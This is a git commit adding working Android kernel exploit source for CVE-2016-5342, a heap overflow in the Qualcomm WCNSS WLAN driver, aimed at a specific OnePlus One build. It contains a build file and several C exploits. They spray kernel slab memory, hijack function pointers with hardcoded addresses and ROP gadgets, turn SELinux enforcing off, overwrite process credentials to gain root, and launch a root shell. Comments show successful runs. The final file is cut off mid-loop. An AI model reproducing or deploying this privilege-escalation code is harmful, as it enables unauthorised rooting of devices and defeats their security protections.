add CVE-2016-5342
This commit is contained in:
BIN
qualcomm/CVE-2016-5342/.DS_Store
vendored
Normal file
BIN
qualcomm/CVE-2016-5342/.DS_Store
vendored
Normal file
Binary file not shown.
70
qualcomm/CVE-2016-5342/Android.mk
Normal file
70
qualcomm/CVE-2016-5342/Android.mk
Normal file
@@ -0,0 +1,70 @@
|
||||
LOCAL_PATH := $(call my-dir)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_SRC_FILES := exploit_mp3.c
|
||||
|
||||
LOCAL_MODULE := exploit_mp3
|
||||
|
||||
LOCAL_MODULE_TAGS := optional
|
||||
|
||||
LOCAL_CFLAGS += -std=c99
|
||||
|
||||
LOCAL_LDFLAGS += -static
|
||||
|
||||
include $(BUILD_EXECUTABLE)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_SRC_FILES := exploit_tty.c
|
||||
|
||||
LOCAL_MODULE := exploit_tty
|
||||
|
||||
LOCAL_MODULE_TAGS := optional
|
||||
|
||||
LOCAL_CFLAGS += -std=c99
|
||||
|
||||
LOCAL_LDFLAGS += -static
|
||||
|
||||
include $(BUILD_EXECUTABLE)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_SRC_FILES := exploit_tty_bypass_pxn.c
|
||||
|
||||
LOCAL_MODULE := exploit_tty_bypass_pxn
|
||||
|
||||
LOCAL_MODULE_TAGS := optional
|
||||
|
||||
LOCAL_CFLAGS += -std=c99
|
||||
|
||||
LOCAL_LDFLAGS += -static
|
||||
|
||||
include $(BUILD_EXECUTABLE)
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_SRC_FILES := exploit_mp3_bypass_pxn.c
|
||||
|
||||
LOCAL_MODULE := exploit_mp3_bypass_pxn
|
||||
|
||||
LOCAL_MODULE_TAGS := optional
|
||||
|
||||
LOCAL_CFLAGS += -std=c99
|
||||
|
||||
LOCAL_LDFLAGS += -static
|
||||
|
||||
include $(BUILD_EXECUTABLE)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_SRC_FILES := exploit_bypass_pxn.c
|
||||
|
||||
LOCAL_MODULE := exploit_bypass_pxn
|
||||
|
||||
LOCAL_MODULE_TAGS := optional
|
||||
|
||||
LOCAL_CFLAGS += -std=c99
|
||||
|
||||
LOCAL_LDFLAGS += -static
|
||||
|
||||
include $(BUILD_EXECUTABLE)
|
||||
14
qualcomm/CVE-2016-5342/README.md
Normal file
14
qualcomm/CVE-2016-5342/README.md
Normal file
@@ -0,0 +1,14 @@
|
||||
# CVE-2016-5342
|
||||
|
||||
ro.build.fingerprint
|
||||
|
||||
oneplus/bacon/A0001:5.1.1/LMY48B/YOG4PAS1N0:user/release-keys
|
||||
|
||||
|
||||
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
|
||||
Qucomm WCNSS Driver Heap Overflow: wcnss_wlan_write
|
||||
|
||||
|
||||
## patch
|
||||
|
||||
https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=579e796cb089324c55e0e689a180575ba81b23d9
|
||||
301
qualcomm/CVE-2016-5342/exploit_bypass_pxn.c
Normal file
301
qualcomm/CVE-2016-5342/exploit_bypass_pxn.c
Normal file
@@ -0,0 +1,301 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <malloc.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#define MAX_FD 8
|
||||
#define BINDER_MAX_FDS 1010
|
||||
|
||||
#define SELINUX_ENFORCING (0xC16A7070)
|
||||
#define INIT_TASK_ADDRESS (0xC14F6040)
|
||||
#define COMM_OFFSET ( 0xC14F635C - INIT_TASK_ADDRESS )
|
||||
#define TASK_OFFSET ( 0xC14F6218 - INIT_TASK_ADDRESS )
|
||||
#define PID_OFFSET ( 0x0 )
|
||||
#define CRED_OFFSET ( COMM_OFFSET - 8 )
|
||||
|
||||
char *name = "freener_pwn0";
|
||||
|
||||
/**
|
||||
*
|
||||
* ROP_READ
|
||||
* C04DBE88 LDR R0, [R2]
|
||||
* C04DBE8C BX LR
|
||||
*/
|
||||
int read_fd = 0;
|
||||
|
||||
#define ROP_READ ( 0xC04DBE88 )
|
||||
unsigned int kernel_read( unsigned int dummy, unsigned int address )
|
||||
{
|
||||
unsigned int value;
|
||||
value = ioctl( read_fd, dummy, address );
|
||||
return value;
|
||||
}
|
||||
|
||||
/**
|
||||
* ROP_WRITE GATGAD
|
||||
* C0760FE4 STR R2, [R1]
|
||||
* C0760FE8 BX LR
|
||||
*/
|
||||
#define ROP_WRITE ( 0xC0760FE4 )
|
||||
int write_fd = 0;
|
||||
void kernel_write( unsigned int address, unsigned int value )
|
||||
{
|
||||
ioctl( write_fd, address, value );
|
||||
}
|
||||
|
||||
|
||||
#define AID_SYSTEM 1000
|
||||
|
||||
|
||||
int main( int argc, char **argv )
|
||||
{
|
||||
int fd[MAX_FD];
|
||||
int binder_fd[BINDER_MAX_FDS];
|
||||
pid_t child;
|
||||
int i = 0;
|
||||
int z = 0;
|
||||
/*
|
||||
for ( z=0; z<10; z++ ) {
|
||||
child = fork();
|
||||
if ( child == 0 ) {
|
||||
printf( "[+] Child %d is spraying\n", z );
|
||||
for( i=0; i < BINDER_MAX_FDS; i++ ) {
|
||||
binder_fd[i] = open( "/dev/binder", O_RDWR );
|
||||
if ( binder_fd[i] < 0 ) {
|
||||
printf( "[-] Can not open binder %d\n", i );
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
printf( "[+] Child is waiting\n" );
|
||||
read(0, binder_fd, 10);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
sleep(10);
|
||||
printf( "[+] Parent Wake up\n" );
|
||||
*/
|
||||
prctl( PR_SET_NAME, (unsigned long)name, 0, 0, 0 );
|
||||
|
||||
printf( "[+] Begin to Test Exploit\n" );
|
||||
|
||||
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
|
||||
setgid( AID_SYSTEM );
|
||||
setuid( AID_SYSTEM );
|
||||
printf( "[+] change to system\n" );
|
||||
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
|
||||
|
||||
printf( "[+] Spray SLUB Cache\n" );
|
||||
for( ; i < BINDER_MAX_FDS; i++ ) {
|
||||
binder_fd[i] = open( "/dev/binder", O_RDWR );
|
||||
if ( binder_fd[i] < 0 ) {
|
||||
printf( "[-] Can not open binder %d\n", i );
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
for ( i = 0; i < BINDER_MAX_FDS; i++ ) {
|
||||
close( binder_fd[i] );
|
||||
}
|
||||
for( i=0; i < BINDER_MAX_FDS; i++ ) {
|
||||
binder_fd[i] = open( "/dev/binder", O_RDWR );
|
||||
if ( binder_fd[i] < 0 ) {
|
||||
printf( "[-] Can not open binder %d\n", i );
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
for ( i=0; i < MAX_FD; i++ ) {
|
||||
fd[i] = open( "/dev/msm_mp3", O_RDWR | O_NONBLOCK );
|
||||
if ( fd[i] < 0 ) {
|
||||
printf( "[-] Can not open /dev/msm_mp3\n" );
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
printf( "[+] Spray SLUB Cache Down\n" );
|
||||
|
||||
int fd_wlan;
|
||||
char *buffer1 = NULL;
|
||||
int message1_len = 512 + 0x150+4 - 4;
|
||||
|
||||
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR );
|
||||
if ( fd_wlan < 0 ) {
|
||||
printf( "[-] Can not open /dev/wcnss_wlan\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
buffer1 = (char *)malloc( message1_len + 4 );
|
||||
if ( buffer1 == NULL ) {
|
||||
printf( "[-] No enough memory\n" );
|
||||
return -1;
|
||||
}
|
||||
memset( buffer1, 0, message1_len+4 );
|
||||
|
||||
|
||||
int length = 512;
|
||||
*(unsigned int *)buffer1 = length;
|
||||
*(unsigned int *)(buffer1 + length + 0x14C) = ROP_READ;
|
||||
|
||||
|
||||
int count = 0;
|
||||
close( fd[0] );
|
||||
close( fd[2] );
|
||||
count = write( fd_wlan, buffer1, message1_len + 4 );
|
||||
|
||||
printf( "[+] Trigger Kernel Execution Code\n" );
|
||||
int result, target_one = 0;
|
||||
for ( i=1; i<8; i++ ) {
|
||||
if ( i==2 ) {
|
||||
continue;
|
||||
}
|
||||
result = ioctl( fd[i], 0x41414141, SELINUX_ENFORCING );
|
||||
if ( result == 0x1 ) {
|
||||
target_one = i;
|
||||
}
|
||||
}
|
||||
/*
|
||||
result = ioctl( fd[1], 0x41414141, SELINUX_ENFORCING );
|
||||
if ( result != 0x1 ) {
|
||||
result = ioctl( fd[3], 0x41414141, SELINUX_ENFORCING );
|
||||
if ( result != 0x1 ) {
|
||||
printf( "[-] Overflow to Target Object failed %x\n", result );
|
||||
return -1;
|
||||
}
|
||||
else {
|
||||
printf( "[+] Overflow object 3 \n" );
|
||||
target_one = 3;
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf( "[+] Overflow object 1 \n" );
|
||||
target_one = 1;
|
||||
}
|
||||
*/
|
||||
if ( target_one == 0 ) {
|
||||
printf( "[-] Overflow to Target Object failed\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf( "[+] Overflow object %d \n", target_one );
|
||||
if ( target_one > 3 ) {
|
||||
printf( "[-] Overflow Wrong Object \n" );
|
||||
return -1;
|
||||
}
|
||||
read_fd = fd[ target_one ];
|
||||
close( fd_wlan );
|
||||
|
||||
printf( "[+] Current SELINUX Status %x = %x\n",SELINUX_ENFORCING , result );
|
||||
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR );
|
||||
if ( fd_wlan < 0 ) {
|
||||
printf( "[-] Can not open /dev/wcnss_wlan\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf( "[+] Open wcanss_wlan again\n" );
|
||||
|
||||
*(unsigned int *)(buffer1 + length + 0x14C) = ROP_WRITE;
|
||||
close(fd[4]);
|
||||
close( fd[6] );
|
||||
count = write( fd_wlan, buffer1, message1_len + 4 );
|
||||
|
||||
for ( i=1; i<8; i+=2 ){
|
||||
if ( i == target_one ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
ioctl( fd[i], SELINUX_ENFORCING, 0x0);
|
||||
result = ioctl( fd[target_one], 0x41414141, SELINUX_ENFORCING );
|
||||
if ( result == 0x0) {
|
||||
write_fd = fd[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ( i == 9 ) {
|
||||
printf( "[-] Overflow target object 2 failed\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf( "[+] Overflow object %d \n", i );
|
||||
printf( "[+] Write success %x\n", result );
|
||||
|
||||
/**
|
||||
* Find MySelf
|
||||
*/
|
||||
unsigned int task = 0;
|
||||
task = kernel_read( 0x10000001, (INIT_TASK_ADDRESS + TASK_OFFSET) );
|
||||
unsigned int cred = 0;
|
||||
unsigned int magic = 0;
|
||||
unsigned int magic1 = 0;
|
||||
unsigned int comm_address = 0;
|
||||
char comm_name[17] = { 0 };
|
||||
unsigned int comm_part_one = 0, comm_part_two = 0, comm_part_three = 0;
|
||||
do {
|
||||
//printf( "[+] TASK Address : %x\n", task );
|
||||
|
||||
comm_address = task - TASK_OFFSET + COMM_OFFSET;
|
||||
//printf( "[+] Comm Address : %x\n", comm_address );
|
||||
comm_part_one = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET );
|
||||
comm_part_two = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET + 4 );
|
||||
comm_part_three = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET +8 );
|
||||
(*(unsigned int *)comm_name) = comm_part_one;
|
||||
(*(unsigned int *)(comm_name+4)) = comm_part_two;
|
||||
(*(unsigned int *)(comm_name+8)) = comm_part_three;
|
||||
|
||||
//printf( "[+] Command line : %s\n", comm_name );
|
||||
|
||||
if ( comm_part_one == 0x65657266 &&
|
||||
comm_part_two == 0x5F72656E &&
|
||||
comm_part_three == 0x306E7770 ) {
|
||||
cred = kernel_read( 0x30000003, task - TASK_OFFSET + CRED_OFFSET );
|
||||
printf( "[+] CRED address : %x\n", cred );
|
||||
magic = kernel_read( 0x40000004, cred + 12 );
|
||||
break;
|
||||
}
|
||||
task = kernel_read( 0x20000002, task - TASK_OFFSET + TASK_OFFSET );
|
||||
} while ( task != (INIT_TASK_ADDRESS + TASK_OFFSET) );
|
||||
|
||||
|
||||
if ( task == INIT_TASK_ADDRESS ) {
|
||||
printf( "[-] Do not find myself\n" );
|
||||
}
|
||||
if ( cred == 0 ) {
|
||||
printf( "[-] Do not get CRED address\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
if ( magic != 0x43736564 || magic != 0x44656144 ) {
|
||||
magic = 4;
|
||||
}
|
||||
else {
|
||||
magic = 16;
|
||||
}
|
||||
|
||||
printf( "[+] Modify CRED\n" );
|
||||
|
||||
for ( i=0; i<17; i++ ) {
|
||||
if ( i < 8 ) {
|
||||
kernel_write( cred + magic + i*4, 0x0 );
|
||||
}
|
||||
else if ( i == 8 ) {
|
||||
continue;
|
||||
}
|
||||
else {
|
||||
kernel_write( cred + magic + i*4, 0xFFFFFFFF );
|
||||
}
|
||||
}
|
||||
|
||||
if ( getuid() == 0 ) {
|
||||
printf( "[+] Root Success\n" );
|
||||
execl( "/system/bin/sh", "/system/bin/sh", NULL );
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf( "[+] Failed \n" );
|
||||
|
||||
return 0;
|
||||
}
|
||||
188
qualcomm/CVE-2016-5342/exploit_mp3.c
Normal file
188
qualcomm/CVE-2016-5342/exploit_mp3.c
Normal file
@@ -0,0 +1,188 @@
|
||||
/*
|
||||
* Author: freener.gdx@gmail.com
|
||||
*
|
||||
* root@bacon:/data/local/tmp # ./exploit_mp3
|
||||
* [+] Begin to Test Exploit
|
||||
* [+] uid=0 euid=0
|
||||
* [+] change to system
|
||||
* [+] uid=1000 euid=1000
|
||||
* [+] Spray SLUB Cache
|
||||
* [+] Spray SLUB Cache Down
|
||||
* [+] out_flush Address is at 0x008505
|
||||
* [+] in_flush Address is at 0x008471
|
||||
* [+] free a object in kmalloc-512 slab
|
||||
* [+] Occupy the object we freed, and change the data of it
|
||||
* [+] Payload Address is at 0x008489
|
||||
* [+] Trigger Kernel Execution Code
|
||||
* [+] uid=0 euid=0
|
||||
* root@bacon:/data/local/tmp #
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <malloc.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define MAX_FD 3
|
||||
#define BINDER_MAX_FDS 300
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
typedef int __attribute__((regparm(3))) (* _printk)(const char *fmt, ...);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
_printk printk;
|
||||
|
||||
#define COMMIT_CREDS_ADDR (0xc01ee21c)
|
||||
#define PREPARE_KERNEL_CREDS_ADDR (0xc01eea00)
|
||||
#define PRINTK (0xc0d50ce4)
|
||||
#define SELINUX_ENFORCING (0xC16A7070)
|
||||
struct file {
|
||||
void *ops;
|
||||
};
|
||||
|
||||
|
||||
|
||||
int __attribute__((regparm(3))) payload( struct file* f, unsigned int a, unsigned long b)
|
||||
{
|
||||
printk( "Come here with close\n" );
|
||||
commit_creds( prepare_kernel_cred(0) );
|
||||
|
||||
unsigned char *t=f;
|
||||
*(unsigned int *)(t+0xe8) = t+0xe8;
|
||||
printk( "Fix corrupted ion_region_queue : %x\n",*(unsigned int*)(t+0xe8) );
|
||||
memcpy( t+0xf0, t+512+0xf0, 4 ); //copy client
|
||||
|
||||
memcpy( t+0xB0, t+512+0xB0, 0xe8-0xb0-1 );
|
||||
return -1;
|
||||
}
|
||||
|
||||
int __attribute__((regparm(3))) payload_ioctl( struct file* f, unsigned int a, unsigned long b)
|
||||
{
|
||||
printk( "Come here with ioctl\n" );
|
||||
unsigned int *selinux_enforcing = SELINUX_ENFORCING;
|
||||
printk( "[+] SELINUX_ENFORCING = %d\n", *selinux_enforcing );
|
||||
*selinux_enforcing = 0;
|
||||
printk( "[+] SELINUX_ENFORCING = %d\n", *selinux_enforcing );
|
||||
commit_creds( prepare_kernel_cred(0) );
|
||||
return -1;
|
||||
}
|
||||
struct q6audio_aio {
|
||||
int dummy;
|
||||
};
|
||||
|
||||
void __attribute__((regparm(3))) out_flush( struct q6audio_aio * xx ) {
|
||||
unsigned char *t=xx;
|
||||
*(unsigned int *)(t+0xe8) = t+0xe8;
|
||||
printk( "modified value : %x\n",*(unsigned int*)(t+0xe8) );
|
||||
memcpy( t+0xf0, t+512+0xf0, 4 );
|
||||
return 0;
|
||||
}
|
||||
|
||||
void __attribute__((regparm(3))) in_flush( struct q6audio_aio * xx ) {
|
||||
printk( "Call in_flush\n" );
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next, *prev;
|
||||
};
|
||||
struct list_head ion_region_queue;
|
||||
|
||||
#define AID_SYSTEM 1000
|
||||
|
||||
int main( int argc, char **argv )
|
||||
{
|
||||
int fd[MAX_FD];
|
||||
int binder_fd[BINDER_MAX_FDS];
|
||||
|
||||
printf( "[+] Begin to Test Exploit\n" );
|
||||
int i = 0;
|
||||
|
||||
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
|
||||
setgid( AID_SYSTEM );
|
||||
setuid( AID_SYSTEM );
|
||||
printf( "[+] change to system\n" );
|
||||
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
|
||||
|
||||
commit_creds = COMMIT_CREDS_ADDR;
|
||||
prepare_kernel_cred = PREPARE_KERNEL_CREDS_ADDR;
|
||||
printk = PRINTK;
|
||||
|
||||
printf( "[+] Spray SLUB Cache\n" );
|
||||
for( ; i < BINDER_MAX_FDS; i++ ) {
|
||||
binder_fd[i] = open( "/dev/binder", O_RDWR );
|
||||
if ( binder_fd[i] < 0 ) {
|
||||
printf( "[-] Can not open binder %d\n", i );
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
for ( i=0 ; i < MAX_FD; i++ ) {
|
||||
fd[i] = open( "/dev/msm_mp3", O_RDWR | O_NONBLOCK );
|
||||
if ( fd[i] < 0 ) {
|
||||
printf( "[-] Can not open /dev/msm_mp3\n" );
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
printf( "[+] Spray SLUB Cache Down\n" );
|
||||
|
||||
int fd_wlan;
|
||||
char *buffer1 = NULL;
|
||||
int message1_len = 512 + 0x150+4 - 4;
|
||||
|
||||
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR );
|
||||
if ( fd_wlan < 0 ) {
|
||||
printf( "[-] Can not open /dev/wcnss_wlan\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
buffer1 = (char *)malloc( message1_len + 4 );
|
||||
if ( buffer1 == NULL ) {
|
||||
goto fail;
|
||||
}
|
||||
memset( buffer1, 0, message1_len+4 );
|
||||
|
||||
int length = 512;
|
||||
*(unsigned int *)buffer1 = length;
|
||||
*(unsigned int *)(buffer1 + length + 0x14C) = payload_ioctl;
|
||||
*(unsigned int *)(buffer1 + length + 0x150) = payload_ioctl;
|
||||
*(unsigned int *)(buffer1 + length + 0x48 ) = 0x01;
|
||||
*(unsigned int *)(buffer1 + length + 0xF0 ) = 0x41414141; //client
|
||||
printf( "[+] out_flush Address is at %08p\n", out_flush );
|
||||
printf( "[+] in_flush Address is at %08p\n", in_flush );
|
||||
*(unsigned int *)(buffer1 + length + 0xF4 ) = payload;
|
||||
*(unsigned int *)(buffer1 + length + 0xF8 ) = in_flush;;
|
||||
*(unsigned int *)(buffer1 + length + 0xFC ) = 0;
|
||||
*(unsigned int *)(buffer1 + length + 0xE8 ) = 0x42424242;//&ion_region_queue;
|
||||
|
||||
int count = 0;
|
||||
printf( "[+] free a object in kmalloc-512 slab\n" );
|
||||
close( fd[0] );
|
||||
printf( "[+] Occupy the object we freed, and change the data of it\n" );
|
||||
count = write( fd_wlan, buffer1, message1_len + 4 );
|
||||
|
||||
printf( "[+] Payload Address is at %08p\n", payload );
|
||||
printf( "[+] Trigger Kernel Execution Code\n" );
|
||||
int result;
|
||||
//result = ioctl( fd[2], 0x40046100, 0x44444444 );
|
||||
result = ioctl( fd[1], 0x40046144, 0x44444444 );
|
||||
//close( fd[1] );
|
||||
|
||||
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
|
||||
|
||||
if ( getuid() != 0 ) {
|
||||
printf( "[-] root faild\n" );
|
||||
goto fail;
|
||||
}
|
||||
execl( "/system/bin/sh", "/system/bin/sh", NULL );
|
||||
|
||||
fail:
|
||||
return -1;
|
||||
}
|
||||
248
qualcomm/CVE-2016-5342/exploit_mp3_bypass_pxn.c
Normal file
248
qualcomm/CVE-2016-5342/exploit_mp3_bypass_pxn.c
Normal file
@@ -0,0 +1,248 @@
|
||||
/*
|
||||
* freener.gdx@gmail.com
|
||||
*
|
||||
* root@bacon:/data/local/tmp # ./exploit_mp3_bypass_pxn
|
||||
* [+] Begin to Test Exploit
|
||||
* [+] uid=0 euid=0
|
||||
* [+] change to system
|
||||
* [+] uid=1000 euid=1000
|
||||
* [+] Spray SLUB Cache
|
||||
* [+] Spray SLUB Cache Down
|
||||
* [+] Trigger Kernel Execution Code
|
||||
* [+] Current SELINUX Status c16a7070 = 1
|
||||
* [+] Open wcanss_wlan again
|
||||
* [+] Write success 0
|
||||
* [+] CRED address : e704b000
|
||||
* [+] Modify CRED
|
||||
* [+] Root Success
|
||||
* root@bacon:/data/local/tmp #
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <malloc.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#define MAX_FD 8
|
||||
#define BINDER_MAX_FDS 1000
|
||||
|
||||
#define SELINUX_ENFORCING (0xC16A7070)
|
||||
#define INIT_TASK_ADDRESS (0xC14F6040)
|
||||
#define COMM_OFFSET ( 0xC14F635C - INIT_TASK_ADDRESS )
|
||||
#define TASK_OFFSET ( 0xC14F6218 - INIT_TASK_ADDRESS )
|
||||
#define PID_OFFSET ( 0x0 )
|
||||
#define CRED_OFFSET ( COMM_OFFSET - 8 )
|
||||
|
||||
char *name = "freener_pwn0";
|
||||
|
||||
/**
|
||||
*
|
||||
* ROP_READ
|
||||
* C04DBE88 LDR R0, [R2]
|
||||
* C04DBE8C BX LR
|
||||
*/
|
||||
int read_fd = 0;
|
||||
|
||||
#define ROP_READ ( 0xC04DBE88 )
|
||||
unsigned int kernel_read( unsigned int dummy, unsigned int address )
|
||||
{
|
||||
unsigned int value;
|
||||
value = ioctl( read_fd, dummy, address );
|
||||
return value;
|
||||
}
|
||||
|
||||
/**
|
||||
* ROP_WRITE GATGAD
|
||||
* C0760FE4 STR R2, [R1]
|
||||
* C0760FE8 BX LR
|
||||
*/
|
||||
#define ROP_WRITE ( 0xC0760FE4 )
|
||||
int write_fd = 0;
|
||||
void kernel_write( unsigned int address, unsigned int value )
|
||||
{
|
||||
ioctl( write_fd, address, value );
|
||||
}
|
||||
|
||||
|
||||
#define AID_SYSTEM 1000
|
||||
|
||||
|
||||
int main( int argc, char **argv )
|
||||
{
|
||||
int fd[MAX_FD];
|
||||
int binder_fd[BINDER_MAX_FDS];
|
||||
|
||||
prctl( PR_SET_NAME, (unsigned long)name, 0, 0, 0 );
|
||||
|
||||
printf( "[+] Begin to Test Exploit\n" );
|
||||
int i = 0;
|
||||
|
||||
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
|
||||
setgid( AID_SYSTEM );
|
||||
setuid( AID_SYSTEM );
|
||||
printf( "[+] change to system\n" );
|
||||
printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() );
|
||||
|
||||
printf( "[+] Spray SLUB Cache\n" );
|
||||
for( ; i < BINDER_MAX_FDS; i++ ) {
|
||||
binder_fd[i] = open( "/dev/binder", O_RDWR );
|
||||
if ( binder_fd[i] < 0 ) {
|
||||
printf( "[-] Can not open binder %d\n", i );
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
for ( i=0; i < MAX_FD; i++ ) {
|
||||
fd[i] = open( "/dev/msm_mp3", O_RDWR | O_NONBLOCK );
|
||||
if ( fd[i] < 0 ) {
|
||||
printf( "[-] Can not open /dev/msm_mp3\n" );
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
printf( "[+] Spray SLUB Cache Down\n" );
|
||||
|
||||
int fd_wlan;
|
||||
char *buffer1 = NULL;
|
||||
int message1_len = 512 + 0x150+4 - 4;
|
||||
|
||||
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR );
|
||||
if ( fd_wlan < 0 ) {
|
||||
printf( "[-] Can not open /dev/wcnss_wlan\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
buffer1 = (char *)malloc( message1_len + 4 );
|
||||
if ( buffer1 == NULL ) {
|
||||
printf( "[-] No enough memory\n" );
|
||||
return -1;
|
||||
}
|
||||
memset( buffer1, 0, message1_len+4 );
|
||||
|
||||
|
||||
int length = 512;
|
||||
*(unsigned int *)buffer1 = length;
|
||||
*(unsigned int *)(buffer1 + length + 0x14C) = ROP_READ;
|
||||
|
||||
|
||||
int count = 0;
|
||||
close( fd[0] );
|
||||
count = write( fd_wlan, buffer1, message1_len + 4 );
|
||||
|
||||
printf( "[+] Trigger Kernel Execution Code\n" );
|
||||
int result;
|
||||
result = ioctl( fd[1], 0x40046144, SELINUX_ENFORCING );
|
||||
if ( result != 0x1 ) {
|
||||
printf( "[-] Read Kernel Failed %x\n", result );
|
||||
return -1;
|
||||
}
|
||||
|
||||
read_fd = fd[1];
|
||||
close( fd_wlan );
|
||||
|
||||
printf( "[+] Current SELINUX Status %x = %x\n",SELINUX_ENFORCING , result );
|
||||
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR );
|
||||
if ( fd_wlan < 0 ) {
|
||||
printf( "[-] Can not open /dev/wcnss_wlan\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf( "[+] Open wcanss_wlan again\n" );
|
||||
|
||||
*(unsigned int *)(buffer1 + length + 0x14C) = ROP_WRITE;
|
||||
close(fd[4]);
|
||||
count = write( fd_wlan, buffer1, message1_len + 4 );
|
||||
result = ioctl( fd[5], SELINUX_ENFORCING, 0x0);
|
||||
|
||||
result = ioctl( fd[1], 0x40046144, SELINUX_ENFORCING );
|
||||
|
||||
if ( result != 0x0) {
|
||||
printf( "[-] Write Kernel Failed %x\n", result );
|
||||
return -1;
|
||||
}
|
||||
|
||||
write_fd = fd[5];
|
||||
printf( "[+] Write success %x\n", result );
|
||||
|
||||
/**
|
||||
* Find MySelf
|
||||
*/
|
||||
unsigned int task = 0;
|
||||
task = kernel_read( 0x10000001, (INIT_TASK_ADDRESS + TASK_OFFSET) );
|
||||
unsigned int cred = 0;
|
||||
unsigned int magic = 0;
|
||||
unsigned int magic1 = 0;
|
||||
unsigned int comm_address = 0;
|
||||
char comm_name[17] = { 0 };
|
||||
unsigned int comm_part_one = 0, comm_part_two = 0, comm_part_three = 0;
|
||||
do {
|
||||
//printf( "[+] TASK Address : %x\n", task );
|
||||
|
||||
comm_address = task - TASK_OFFSET + COMM_OFFSET;
|
||||
//printf( "[+] Comm Address : %x\n", comm_address );
|
||||
comm_part_one = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET );
|
||||
comm_part_two = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET + 4 );
|
||||
comm_part_three = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET +8 );
|
||||
(*(unsigned int *)comm_name) = comm_part_one;
|
||||
(*(unsigned int *)(comm_name+4)) = comm_part_two;
|
||||
(*(unsigned int *)(comm_name+8)) = comm_part_three;
|
||||
|
||||
//printf( "[+] Command line : %s\n", comm_name );
|
||||
|
||||
if ( comm_part_one == 0x65657266 &&
|
||||
comm_part_two == 0x5F72656E &&
|
||||
comm_part_three == 0x306E7770 ) {
|
||||
cred = kernel_read( 0x30000003, task - TASK_OFFSET + CRED_OFFSET );
|
||||
printf( "[+] CRED address : %x\n", cred );
|
||||
magic = kernel_read( 0x40000004, cred + 12 );
|
||||
break;
|
||||
}
|
||||
task = kernel_read( 0x20000002, task - TASK_OFFSET + TASK_OFFSET );
|
||||
} while ( task != (INIT_TASK_ADDRESS + TASK_OFFSET) );
|
||||
|
||||
|
||||
if ( task == INIT_TASK_ADDRESS ) {
|
||||
printf( "[-] Do not find myself\n" );
|
||||
}
|
||||
if ( cred == 0 ) {
|
||||
printf( "[-] Do not get CRED address\n" );
|
||||
return -1;
|
||||
}
|
||||
|
||||
if ( magic != 0x43736564 || magic != 0x44656144 ) {
|
||||
magic = 4;
|
||||
}
|
||||
else {
|
||||
magic = 16;
|
||||
}
|
||||
|
||||
printf( "[+] Modify CRED\n" );
|
||||
|
||||
for ( i=0; i<17; i++ ) {
|
||||
if ( i < 8 ) {
|
||||
